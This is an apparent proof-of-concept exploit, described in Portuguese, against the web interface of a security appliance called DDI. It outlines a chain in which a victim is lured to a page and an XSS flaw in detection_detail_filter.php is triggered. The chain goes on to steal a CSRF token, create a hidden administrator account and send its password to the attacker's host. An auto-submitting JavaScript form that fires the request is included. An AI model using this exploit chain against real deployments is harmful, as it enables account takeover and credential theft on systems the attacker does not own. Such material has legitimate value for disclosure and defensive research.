1. O usuário logado na interface web do DDI é induzido a visitar uma página web maliciosa.
2. Um script malicioso nesta página é lançado usando a vulnerabilidade XSS em /php/detection_detail_filter.php
3. O script obtém o token CSRF via requisição PUT para /wsgi/csrf/get_token/
4. E então usa o token obtido da resposta à requisição anterior para adicionar uma conta com privilégios de administrador
5. A senha da conta adicionada é obtida da resposta à requisição anterior.
6. A senha pode ser transferida para o host do atacante via requisição HTTP

<b>DDI PoC</b>
<script type="text/javascript">

function post(path, params, method) {
    method = method || "post"; // Set method to post by default if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", 'POST');
    form.setAttribute("action", path);

    for(var key in params) {
        if(params.hasOwnProperty(key)) {
            var hiddenField = document.createElement("input");
            hiddenField.setAttribute("type", "hidden");
            hiddenField.setAttribute("name", key);
            hiddenField.setAttribute("value", params[key]);

            form.appendChild(hiddenField);
         }
    }

    document.body.appendChild(form);
    form.submit();
}

var ddi_ip = '192.168.91.66';

post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});

</script>